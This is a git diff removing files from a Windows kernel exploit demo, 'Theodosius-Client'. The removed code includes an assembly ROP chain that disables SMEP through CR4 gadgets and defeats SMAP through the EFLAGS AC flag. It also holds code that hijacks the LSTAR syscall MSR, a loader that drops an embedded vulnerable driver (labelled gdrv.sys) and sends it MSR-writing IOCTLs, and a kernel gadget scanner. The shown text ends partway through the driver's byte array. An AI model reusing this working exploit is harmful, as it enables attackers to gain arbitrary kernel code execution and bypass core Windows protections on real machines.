0x45, 0x53, 0xAB, 0x7E, 0x56, 0x6E, 0x62, 0xD8, 0xD9, 0xD4, 0x35, - 0x2D, 0x17, 0x25, 0x58, 0x1D, 0xE8, 0xE6, 0xB0, 0xC8, 0xF8, 0xC5, 0xEA, - 0x91, 0xC1, 0x0D, 0x70, 0xAF, 0xE5, 0x87, 0xEE, 0x9A, 0x40, 0x48, 0xFC, - 0x55, 0x3F, 0x74, 0x8E, 0x91, 0xBE, 0x4B, 0x46, 0x97, 0xD1, 0x7B, 0xE4, - 0x98, 0xE3, 0xBD, 0x79, 0x13, 0x4F, 0x74, 0xE0, 0x08, 0x37, 0xC2, 0x31, - 0x29, 0x2E, 0x20, 0x92, 0x58, 0x3E, 0x82, 0xFC, 0x60, 0x17, 0xC1, 0x39, - 0xEB, 0xBE, 0x6E, 0xFE, 0xF2, 0x42, 0x14, 0xFB, 0x07, 0x3C, 0x6B, 0x14, - 0x53, 0x85, 0x97, 0x9E, 0x6A, 0xC6, 0x31, 0x9A, 0x53, 0x5C, 0x09, 0x4F, - 0xA6, 0x47, 0x78, 0x5C, 0x02, 0xCE, 0x11, 0x20, 0xB8, 0xC6, 0xAF, 0x17, - 0xFF, 0x6B, 0x10, 0xEB, 0x00, 0xFA, 0x94, 0x93, 0xC6, 0x5C, 0x1C, 0xE0, - 0xF9, 0x81, 0xBB, 0x12, 0xD5, 0x3C, 0xA7, 0xD4, 0x93, 0xE7, 0x20, 0x3E, - 0x0E, 0xAF, 0x20, 0x2F, 0xDD, 0x37, 0x6D, 0x68, 0x17, 0xCF, 0x0E, 0x4A, - 0x99, 0xAF, 0xFE, 0x59, 0x9E, 0xD7, 0xA5, 0x72, 0x07, 0xF0, 0xC1, 0xC9, - 0xEB, 0x1A, 0xFD, 0x88, 0x22, 0xA7, 0x1A, 0x80, 0x15, 0x2C, 0x08, 0x38, - 0xE7, 0xB9, 0xD3, 0x77, 0xF4, 0x9A, 0xA5, 0x28, 0x24, 0x08, 0xD0, 0x40, - 0xD3, 0x0A, 0x61, 0xBF, 0x88, 0xF5, 0xAA, 0x7F, 0x9D, 0xBE, 0x76, 0xDE, - 0x66, 0x9B, 0x2D, 0x68, 0x97, 0x66, 0x97, 0x61, 0xD0, 0x19, 0x93, 0x37, - 0x8C, 0x3A, 0xA1, 0x39, 0x1C, 0x2A, 0xE8, 0xF1, 0x89, 0x0F, 0xDC, 0x42, - 0x5A, 0x6E, 0x88, 0x88, 0x09, 0x3D, 0x88, 0xC7, 0x61, 0x72, 0x2F, 0xEB, - 0x5C, 0xA7, 0x75, 0x31, 0x82, 0x02, 0xF5, 0x30, 0x82, 0x02, 0xF1, 0x02, - 0x01, 0x01, 0x30, 0x81, 0x93, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, 0x06, - 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, - 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, - 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, - 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, - 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, - 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, - 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, 0x06, - 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, - 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, - 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, 0x02, - 0x13, 0x33, 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, 0xE9, - 0xF9, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x0D, 0x06, 0x09, - 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xA0, - 0x82, 0x01, 0x32, 0x30, 0x1A, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, - 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0D, 0x06, 0x0B, 0x2A, 0x86, 0x48, 0x86, - 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x01, 0x04, 0x30, 0x2F, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, - 0xAF, 0xA7, 0xC0, 0x64, 0x97, 0x71, 0xAE, 0x59, 0x6D, 0xA7, 0x72, 0x4A, - 0xA0, 0x71, 0xBE, 0x98, 0x02, 0xA6, 0xC6, 0x9E, 0x20, 0x89, 0xDB, 0xF9, - 0xDA, 0x42, 0x84, 0x5A, 0xA1, 0x5A, 0x36, 0x09, 0x30, 0x81, 0xE2, 0x06, - 0x0B, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x02, 0x0C, - 0x31, 0x81, 0xD2, 0x30, 0x81, 0xCF, 0x30, 0x81, 0xCC, 0x30, 0x81, 0xB1, - 0x04, 0x14, 0x02, 0xA3, 0xC8, 0x4F, 0x56, 0xF6, 0x90, 0xE8, 0xB5, 0x63, - 0x20, 0x76, 0xE7, 0x31, 0xE9, 0x6B, 0x73, 0xE7, 0x9C, 0x0C, 0x30, 0x81, - 0x98, 0x30, 0x81, 0x80, 0xA4, 0x7E, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, - 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, - 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, - 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, - 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, - 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, - 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, - 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, - 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, - 0x61, 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, - 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, - 0xE9, 0xF9, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x16, 0x04, - 0x14, 0xC9, 0x29, 0xD4, 0x98, 0x94, 0x7C, 0x74, 0xAD, 0x6B, 0x91, 0x2B, - 0x9C, 0xD1, 0x21, 0xA5, 0x0A, 0x8F, 0xAA, 0x08, 0xD5, 0x30, 0x0D, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, - 0x04, 0x82, 0x01, 0x00, 0x87, 0xF7, 0x8F, 0xC9, 0x8F, 0x27, 0x91, 0x8A, - 0xD7, 0x16, 0x3B, 0xAD, 0x2D, 0x44, 0xF9, 0xFD, 0x5C, 0xF8, 0xB5, 0xC8, - 0x9A, 0x7F, 0x54, 0xD5, 0xE8, 0x34, 0x27, 0xAC, 0x04, 0xC4, 0x2D, 0xB3, - 0x96, 0xE8, 0xCB, 0xE8, 0x99, 0x84, 0x36, 0xE6, 0xFA, 0x67, 0x54, 0xB7, - 0xA5, 0x6C, 0xA3, 0xAD, 0x36, 0x9F, 0xE8, 0x61, 0xCD, 0xAC, 0xF3, 0x71, - 0x4C, 0xD3, 0x16, 0x7E, 0xD4, 0xEE, 0x5D, 0xA5, 0x99, 0x24, 0xE4, 0x12, - 0x34, 0x1D, 0xE8, 0x02, 0xC2, 0xB3, 0x6F, 0xB4, 0xE7, 0x03, 0xE4, 0x3A, - 0xF9, 0x96, 0x3B, 0x64, 0xA2, 0x13, 0x80, 0xB2, 0xA7, 0x86, 0x6D, 0x65, - 0x99, 0x21, 0x3B, 0xD0, 0x3E, 0xC4, 0x28, 0xD5, 0xEB, 0x8F, 0xC8, 0xF7, - 0xB0, 0x8E, 0xEF, 0xEF, 0x77, 0x77, 0x64, 0xC0, 0x30, 0xD1, 0x6D, 0xE6, - 0x31, 0x6B, 0xD6, 0xA8, 0xD2, 0xEC, 0x04, 0x9F, 0xFF, 0x4F, 0x00, 0x61, - 0xC9, 0x92, 0x1C, 0xAA, 0xD6, 0xA7, 0x17, 0xC8, 0xD6, 0x36, 0xA6, 0x0E, - 0xD5, 0xB3, 0x40, 0xF4, 0xA6, 0x53, 0xCA, 0xDE, 0xB3, 0xEB, 0x91, 0xF1, - 0x49, 0x09, 0x13, 0xCF, 0x05, 0x0B, 0x7C, 0x93, 0xA7, 0xBB, 0x26, 0xD0, - 0x4F, 0xE2, 0x3F, 0xC0, 0xFA, 0x05, 0x42, 0x01, 0x48, 0xCF, 0x7A, 0x65, - 0xFA, 0x6D, 0x3D, 0x57, 0x9A, 0x45, 0xA1, 0xB6, 0xC6, 0x01, 0x6A, 0x85, - 0x0F, 0x45, 0x47, 0x1E, 0xB0, 0x91, 0x64, 0x93, 0x89, 0xC3, 0x49, 0xD4, - 0x95, 0xD0, 0xF2, 0x0A, 0x4F, 0x12, 0x2C, 0x00, 0x4C, 0x19, 0x9B, 0x12, - 0xF4, 0x8C, 0xE6, 0x68, 0xD1, 0x28, 0xBA, 0x46, 0x42, 0x95, 0x87, 0xC3, - 0x33, 0xF6, 0x5E, 0x1E, 0x80, 0xEC, 0xAA, 0x49, 0x0C, 0xA8, 0x47, 0x50, - 0xBA, 0xA7, 0x3E, 0x6F, 0xBE, 0xAE, 0x9A, 0xBE, 0x2F, 0xA0, 0x1C, 0x33, - 0x82, 0x71, 0x9E, 0xE1, 0xE4, 0x5D, 0xCF, 0xD3 - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Client/msrexec/syscall_handler.asm b/demos/Theodosius-Client/msrexec/syscall_handler.asm deleted file mode 100644 index 333b5eb..0000000 --- a/demos/Theodosius-Client/msrexec/syscall_handler.asm +++ /dev/null @@ -1,90 +0,0 @@ -extern msrexec_handler : proc - -.data - ; offsets into _KPCR/_KPRCB - m_kpcr_rsp_offset dq 0h - m_kpcr_krsp_offset dq 0h - m_system_call dq 0h - - m_mov_cr4_gadget dq 0h - m_sysret_gadget dq 0h - m_pop_rcx_gadget dq 0h - - m_smep_on dq 0h - m_smep_off dq 0h - - public m_smep_on - public m_smep_off - - public m_kpcr_rsp_offset - public m_kpcr_krsp_offset - - public m_pop_rcx_gadget - public m_mov_cr4_gadget - public m_sysret_gadget - public m_system_call - -.code -syscall_handler proc - swapgs ; swap gs to kernel gs (_KPCR...) - - mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB - mov gs:[rax], rsp - - mov rax, m_kpcr_krsp_offset ; load kernel rsp.... - mov rsp, gs:[rax] - - push rcx ; push RIP - push r11 ; push EFLAGS - - mov rcx, r10 ; swapped by syscall instruction so we switch it back... - sub rsp, 020h - call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...) - add rsp, 020h - - pop r11 ; pop EFLAGS - pop rcx ; pop RIP - - mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack... - mov rsp, gs:[rax] - - swapgs ; swap back to TIB... - ret -syscall_handler endp - -syscall_wrapper proc - push r10 ; syscall puts RIP into rcx... - pushfq - - mov r10, rcx ; swap r10 and rcx... - push m_sysret_gadget ; REX.W prefixed... - - lea rax, finish ; preserved value of RIP by putting it on the stack here... - push rax ; - - push m_pop_rcx_gadget ; gadget to put RIP back into rcx... - push m_mov_cr4_gadget ; turn smep back on... - - push m_smep_on ; value of CR4 with smep off... - push m_pop_rcx_gadget ; - - lea rax, syscall_handler ; rop to syscall_handler to handle the syscall... - push rax ; - - push m_mov_cr4_gadget ; disable smep... - push m_smep_off ; - - pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!! - pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"... - or rax, 040000h ; - push rax ; - popfq ; - - syscall ; LSTAR points at a pop rcx gadget... - ; it will put m_smep_off into rcx... -finish: - popfq ; restore EFLAGS... - pop r10 ; restore r10... - ret -syscall_wrapper endp -end \ No newline at end of file diff --git a/demos/Theodosius-Client/msrexec/syscall_handler.h b/demos/Theodosius-Client/msrexec/syscall_handler.h deleted file mode 100644 index 153ae0b..0000000 --- a/demos/Theodosius-Client/msrexec/syscall_handler.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once -#include "ia32.hpp" - -extern "C" std::uint32_t m_kpcr_rsp_offset; -extern "C" std::uint32_t m_kpcr_krsp_offset; - -extern "C" std::uintptr_t m_pop_rcx_gadget; -extern "C" std::uintptr_t m_mov_cr4_gadget; -extern "C" std::uintptr_t m_sysret_gadget; - -extern "C" cr4 m_smep_on; -extern "C" cr4 m_smep_off; -extern "C" std::uintptr_t m_system_call; -extern "C" void syscall_wrapper(...); \ No newline at end of file diff --git a/demos/Theodosius-Client/msrexec/vdm.hpp b/demos/Theodosius-Client/msrexec/vdm.hpp deleted file mode 100644 index 7e676c0..0000000 --- a/demos/Theodosius-Client/msrexec/vdm.hpp +++ /dev/null @@ -1,66 +0,0 @@ -#pragma once -#include -#include - -#include "../loadup.hpp" -#include "raw_driver.hpp" -#define IOCTL_WRMSR 0x229384 - -#pragma pack (push, 1) -typedef struct _write_msr_t -{ - std::uint32_t reg; - std::uintptr_t value; -} write_msr_t, * pwrite_msr_t; -#pragma pack (pop) - -namespace msrexec -{ - inline HANDLE drv_handle; - inline auto load_drv() -> std::tuple - { - const auto [result, key] = - driver::load( - msrexec::raw_driver, - sizeof msrexec::raw_driver - ); - - if (result != STATUS_SUCCESS) - return { {}, {}, result }; - - std::string symlink("\\\\.\\" + key); - drv_handle = CreateFileA( - symlink.c_str(), - GENERIC_READ | GENERIC_WRITE, - NULL, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - - return { drv_handle, key, result }; - } - - inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS - { - if (!CloseHandle(drv_handle)) - return STATUS_FAIL_CHECK; - - return driver::unload(drv_key); - } - - inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool - { - std::uint32_t bytes_handled; - write_msr_t io_data{ reg, value }; - - return DeviceIoControl - ( - drv_handle, IOCTL_WRMSR, - &io_data, sizeof io_data, - &io_data, sizeof io_data, - (LPDWORD)&bytes_handled, nullptr - ); - } -} \ No newline at end of file diff --git a/demos/Theodosius-Client/utils.hpp b/demos/Theodosius-Client/utils.hpp deleted file mode 100644 index eba5504..0000000 --- a/demos/Theodosius-Client/utils.hpp +++ /dev/null @@ -1,494 +0,0 @@ -/* - WARNING: utils.hpp must be the first file included... - this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... -*/ - -#pragma once -#define _CRT_SECURE_NO_WARNINGS -#pragma comment(lib, "ntdll.lib") - -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#define PAGE_4KB 0x1000 -inline bool dbg_print = true; -#define DBG_PRINT(format, ...) \ - if (dbg_print) std::printf(format, __VA_ARGS__ ) - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; - } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 -typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION -{ - struct - { - ULONG KvaShadowEnabled : 1; - ULONG KvaShadowUserGlobal : 1; - ULONG KvaShadowPcid : 1; - ULONG KvaShadowInvpcid : 1; - ULONG KvaShadowRequired : 1; - ULONG KvaShadowRequiredAvailable : 1; - ULONG InvalidPteBit : 6; - ULONG L1DataCacheFlushSupported : 1; - ULONG L1TerminalFaultMitigationPresent : 1; - ULONG Reserved : 18; - } KvaShadowFlags; -} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; - -namespace utils -{ - inline std::map pmem_ranges{}; - __forceinline auto is_valid(std::uintptr_t addr) -> bool - { - for (auto range : pmem_ranges) - if (addr >= range.first && addr <= range.first + range.second) - return true; - - return false; - } - -#pragma pack (push, 1) - struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR - { - uint8_t type; - uint8_t shareDisposition; - uint16_t flags; - uint64_t pBegin; - uint32_t sizeButNotExactly; - uint32_t pad; - - static constexpr uint16_t cm_resource_memory_large_40{ 0x200 }; - static constexpr uint16_t cm_resource_memory_large_48{ 0x400 }; - static constexpr uint16_t cm_resource_memory_large_64{ 0x800 }; - - uint64_t size()const noexcept - { - if (flags & cm_resource_memory_large_40) - return uint64_t{ sizeButNotExactly } << 8; - else if (flags & cm_resource_memory_large_48) - return uint64_t{ sizeButNotExactly } << 16; - else if (flags & cm_resource_memory_large_64) - return uint64_t{ sizeButNotExactly } << 32; - else - return uint64_t{ sizeButNotExactly }; - } - }; - static_assert(sizeof(PhysicalMemoryPage) == 20); -#pragma pack (pop) - - inline const auto init_ranges = ([&]() -> bool - { - HKEY h_key; - DWORD type, size; - LPBYTE data; - RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); - RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size - data = new BYTE[size]; - RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); - DWORD count = *(DWORD*)(data + 16); - auto pmi = data + 24; - for (int dwIndex = 0; dwIndex < count; dwIndex++) - { -#if 0 - pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); -#else - const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) }; - pmem_ranges.emplace(page.pBegin, page.size()); -#endif - pmi += 20; - } - delete[] data; - RegCloseKey(h_key); - return true; - })(); - - inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) - { - static const auto check_mask = - [&](const char* base, const char* pattern, const char* mask) -> bool - { - for (; *mask; ++base, ++pattern, ++mask) - if (*mask == 'x' && *base != *pattern) - return false; - return true; - }; - - size -= strlen(mask); - for (auto i = 0; i <= size; ++i) - { - void* addr = (void*)&(((char*)base)[i]); - if (check_mask((char*)addr, pattern, mask)) - return reinterpret_cast(addr); - } - - return NULL; - } - - inline void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - inline std::uint32_t get_pid(const char* proc_name) - { - PROCESSENTRY32 proc_info; - proc_info.dwSize = sizeof(proc_info); - - HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); - if (proc_snapshot == INVALID_HANDLE_VALUE) - return NULL; - - Process32First(proc_snapshot, &proc_info); - if (!std::strcmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - - while (Process32Next(proc_snapshot, &proc_info)) - { - if (!std::strcmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - } - - CloseHandle(proc_snapshot); - return NULL; - } - - - namespace kmodule - { - using kmodule_callback_t = std::function; - inline void each_module(kmodule_callback_t callback) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - if (!callback(&modules->Modules[idx], full_path.c_str())) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - inline std::uintptr_t get_base(const char* module_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - const auto current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - const auto result = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - inline std::uintptr_t get_export(const char* module_name, const char* export_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, 0, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, 0, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - // find module and then load library it - const std::string current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName - ); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - const auto module_base = - LoadLibraryExA( - full_path.c_str(), - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - if (!module_base) - { - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto image_base = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - - const auto export_um_addr = - reinterpret_cast( - GetProcAddress(module_base, export_name)); - - if (!export_um_addr) - return NULL; - - return (export_um_addr - reinterpret_cast(module_base)) + image_base; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - } - - namespace pe - { - using section_callback_t = std::function; - - // returns an std::vector containing all of the bytes of the section - // and also the RVA from the image base to the beginning of the section... - inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) - { - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // sometimes section names are not null terminated... - if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) - { - const auto section_base = - reinterpret_cast( - module_base + section_header[idx].VirtualAddress); - - const auto section_end = - reinterpret_cast( - section_base + section_header[idx].Misc.VirtualSize); - - std::vector section_bin(section_base, section_end); - return { section_bin, section_header[idx].VirtualAddress }; - } - } - - return { {}, {} }; - } - - inline void each_section(section_callback_t callback, std::uintptr_t module_base) - { - if (!module_base) - return; - - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // keep looping until the callback returns false... - if (!callback(§ion_header[idx], module_base)) - return; - } - } - } - - namespace rop - { - // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ - // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 - // just implimented the rop information from these posts... - inline std::uintptr_t find_kgadget(const char* sig, const char* mask) - { - std::uintptr_t result = 0u; - kmodule::each_module( - [&](auto kernel_image, const char* image_name) -> bool - { - utils::pe::each_section( - [&](auto section_header, std::uintptr_t image_base) -> bool - { - if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && - !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) - { - const auto rop_gadget = - utils::scan(image_base + section_header->VirtualAddress, - section_header->Misc.VirtualSize, sig, mask); - - if(rop_gadget) - result = (rop_gadget - image_base) + - reinterpret_cast(kernel_image->ImageBase); - - return !rop_gadget; - } - return true; - }, - reinterpret_cast( - LoadLibraryExA(image_name, - NULL, DONT_RESOLVE_DLL_REFERENCES)) - ); - return !result; - } - ); - return result; - } - } -} \ No newline at end of file diff --git a/demos/Theodosius-Client/vdm/raw_driver.hpp b/demos/Theodosius-Client/vdm/raw_driver.hpp deleted file mode 100644 index 40ed341..0000000 --- a/demos/Theodosius-Client/vdm/raw_driver.hpp +++ /dev/null @@ -1,2242 +0,0 @@ -#include - -namespace vdm -{ - // gdrv.sys, but put any vulnerable driver here... - constexpr std::uint8_t raw_driver[] = - { - 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xF0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, - 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, - 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, - 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, - 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 